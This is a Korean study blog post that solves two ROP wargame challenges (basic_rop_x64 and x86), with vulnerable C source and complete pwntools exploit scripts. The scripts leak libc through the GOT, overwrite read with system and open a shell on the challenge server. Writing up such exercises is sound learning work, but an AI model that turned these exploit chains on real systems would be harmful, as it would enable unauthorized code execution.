TIL: ROP ๐ช
Wargame: basic_rop_x64
Server์์ ์๋ํ๋ binary์ source code๋ ์๋์ ๊ฐ๋ค.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
Vulnerability Scanning
gdb์์ checksec
๋ช
๋ น์ด๋ฅผ ์คํํ๋ฉด, canary์ PIE๋ disabled ์ํ์ด๊ณ , NX๋ง enable๋์ด์์์ ์ ์ ์๋ค.
Code ๋ด์ read
๋ฅผ ์ด์ฉํด ์์ ์ฝ๋์ ๋์ผํ ๋ฐฉ์์ผ๋ก ROP ๊ธฐ๋ฒ์ ํตํด system("/bin/sh")
๋ฌธ์ ์คํํ ์ ์๋ค.
system
์ address ๊ณ์ฐํ๊ธฐ
from pwn import *
#p = process('./basic_rop_x64')
p = remote("host3.dreamhack.games", 23059)
e = ELF('./basic_rop_x64')
puts_plt = e.plt['puts']
puts_got = e.got['puts']
read_plt = e.plt['read']
read_got = e.got['read']
pop_rdi = 0x0000000000400883
ret = 0x00000000004005a9
payload = b"A"*(0x40 + 0x8)
# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
p.send(payload)
print(p.recvn(0x40))
read = u64(p.recvn(6) + b"\x00"*2)
print("read", hex(read))
#lb = read - libc.symbols["read"]
#system = lb + libc.symbols["system"]
system = read - 0xb1ec0
p.interactive()
ROP ๊ธฐ๋ฒ์ผ๋ก puts(read_got)
๋ฅผ ์คํํด read
๊ฐ ์ ์ฅ๋ address๋ฅผ ์ถ๋ ฅํ๊ณ , ์ด ๊ฐ์ ์ด์ฉํด server์์ ์ฌ์ฉ์ค์ธ libc์ version์ ํ์
ํ ์ ์๋ค. read
๋ง query์ ๋ฃ์ด์คฌ์ ๋ ์ฌ๋ฌ libc ํ์ผ๋ค์ด ๋ฐ ์ ์์ผ๋ puts
์ address๊น์ง ์ถ๋ ฅํด์ query์ ๋ฃ์ผ๋ฉด ๋ ์ ํํ ๊ฒ์ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํ ์ ์๋ค.
์ด๋ฅผ ํตํด system
๊ณผ read
์ฌ์ด์ offset์ ํ์
ํ์ฌ system
์ address๋ฅผ ๊ณ์ฐํ ์ ์๋ค.
Exploit
ํฐ ํ๋ฆ์ ์์ ์์ ์ ๊ฐ๋ค. ์คํ๋ ค canary ํ๋ ๊ณผ์ ์ด ์์ด ๋ ๊ฐ๋จํ๋ค.
puts(read_got)
๋ฅผ ์คํํดread
์ address๋ฅผ ์ป๋๋ค. ์ด๋ก๋ถํฐsystem
์ address๋ ๊ณ์ฐํ๋ค.read(0, read_got, 0x10)
์ ์คํํดread_got
๋ฅผsystem
์ address์ โ/bin/shโ๋ก overwriteํ๋ค.read(โ/bin/shโ)
๋ฅผ ์คํํ๋ฉด GOT๊ฐ overwrite๋์ด ์๊ธฐ ๋๋ฌธ์system("/bin/sh")
๊ฐ ์คํ๋๋ค.
from pwn import *
#p = process('./basic_rop_x64')
p = remote("host3.dreamhack.games", 10061)
e = ELF('./basic_rop_x64')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
puts_plt = e.plt['puts']
puts_got = e.got['puts']
read_plt = e.plt['read']
read_got = e.got['read']
pop_rdi = 0x0000000000400883
pop_rsi_pop_r15 = 0x0000000000400881
ret = 0x00000000004005a9
payload = b"A"*(0x40 + 0x8)
# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_pop_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi) + p64(read_got + 0x8)
payload += p64(read_plt)
p.send(payload)
p.recvn(0x40) # source code ๋ด์ write๋ฌธ์ ์ถ๋ ฅ๊ฐ ๋๊ธฐ๊ธฐ
read = u64(p.recvn(6) + b"\x00"*2) # read์ address
print("read", hex(read))
system = read - 0xb1ec0
p.send(p64(system) + b"/bin/sh\x00")
p.interactive()
Wargame: basic_rop_x86
๋ฌธ์ ์ source code๋ basic_rop_x64์ ๋์ผํ์ง๋ง, x86 architecture์ ๋์์ผ๋ก ํ๋ค๋ ์ ์ด ๋ค๋ฅด๋ค. ํ์ด์ ํฐ ํ๋ฆ ์ญ์ ๊ฑฐ์ ๊ฐ๊ธฐ ๋๋ฌธ์ x86 architecture์ ํน์ฑ ๋๋ฌธ์ ๋ฌ๋ผ์ง๋ ์ ๋ง์ ์์ ํ๊ฒ ๋ค.
cdecl
Reference: https://velog.io/@seulifer/x86-cdecl, https://doongdangdoongdangdong.tistory.com/20, https://kaspyx.tistory.com/100
cdecl์ x86 architecture์ calling convention์ด๋ค. cdecl์์๋ ํจ์์ argument๋ฅผ caller๊ฐ stack์ ํตํด ์ ๋ฌํ๋ฉฐ, return ๊ฐ์ eax๋ฅผ ํตํด ๋ฐ๋๋ค. ๊ตฌ์ฒด์ ์ธ stack frame์ ๊ตฌ์กฐ๋ ์๋์ ๊ฐ๋ค.
๋ฐ๋ผ์ ROP ๊ธฐ๋ฒ์ ์ฌ์ฉํ ๋ ๊ธฐ์กด์ ๋ฐฉ์๋๋ก pop rdi; ret
๊ณผ ๊ฐ์ code gadget์ ์ฐพ์ register์ ๊ฐ์ ๋ฃ์ด์ค ํ์๋ ์์ง๋ง, stack์ ์ง์ argument๋ฅผ ์ง์ด๋ฃ์ด์ค์ผ ํ๋ค. ๋ ํด๋น ํจ์๋ฅผ ์คํํ ์ดํ์๋ stack์ ๋ฃ์ด ๋์๋ argument์ ๊ฐ์๋งํผ esp๋ฅผ ์ฆ๊ฐ์์ผ์ค์ผ ํ๋ฏ๋ก argument์ ๊ฐ์๋งํผ pop
์ ์คํํ๊ณ ret
ํ๋ code gadget์ ๋ค์ function์ address ๋ถ๋ถ์ ์ฝ์
ํด์ผ ํ๋ค. (pop
์ operand์ ๊ฐ์ ์ค์ํ์ง ์๋ค.)
- argument๊ฐ 3๊ฐ์ผ ๋:
pop; pop; pop; ret
- argument๊ฐ 2๊ฐ์ผ ๋:
pop; pop; ret
- argument๊ฐ 1๊ฐ์ผ ๋:
pop; ret
- argument๊ฐ ์์ ๋:
ret
Exploit
32 bit machine์ผ๋ก ๋ณ๊ฒฝ๋๋ฉด์ ๊ณ ๋ คํด์ผ ํ ์ :
- Packing์ ํ ๋
p64
๊ฐ ์๋p32
๋ฅผ ์ฌ์ฉํด์ผ ํจ. - Payload๋ฅผ ์์ฑํ ๋ cdecl์ ๊ณ ๋ คํ์ฌ
pop; ret
,pop; pop; pop; ret
gadget์ ์ฝ์ ํด์ผ ํจ. write(1, read_got, 0x4)
๋กread
์ address๋ฅผ ๋ฐ์์ฌ ๋ 8 byte๊ฐ ์๋๋ผ 4 byte๋ฅผ ๋ฐ์์์ผ ํจ.read_got
์ ๋ค์ byte์"/bin/sh"
๋ฅผ ์ ๋ ฅํ ๋read_got + 0x8
์ด ์๋๋ผread_got + 0x4
์ ์ ๋ ฅํด์ผ ํจ.
from pwn import *
#p = process('./basic_rop_x86')
p = remote("host3.dreamhack.games", 15286)
#gdb.attach(p)
e = ELF('./basic_rop_x86')
write_plt = e.plt['write']
write_got = e.got['write']
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pr = 0x080483d9 # pop; ret
pppr = 0x08048689 # pop; pop; pop; ret
payload = b"A"*(0x40 + 0x8)
# write(1, read_got, 0x4)
payload += p32(write_plt)
payload += p32(pppr) # pop; pop; pop; ret
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
# read(0, read_got, 0x10)
payload += p32(read_plt)
payload += p32(pppr) # pop; pop; pop; ret
payload += p32(0)
payload += p32(read_got)
payload += p32(0x10)
# read("/bin/sh") == system("/bin/sh")
payload += p32(read_plt)
payload += p32(pr)
payload += p32(read_got + 0x4)
p.send(payload)
p.recvn(0x40)
read = u32(p.recvn(4))
print ("read", hex(read))
system = read - 0x99a10
print(hex(system))
p.send(p32(system) + b"/bin/sh\x00")
p.interactive()
Leave a comment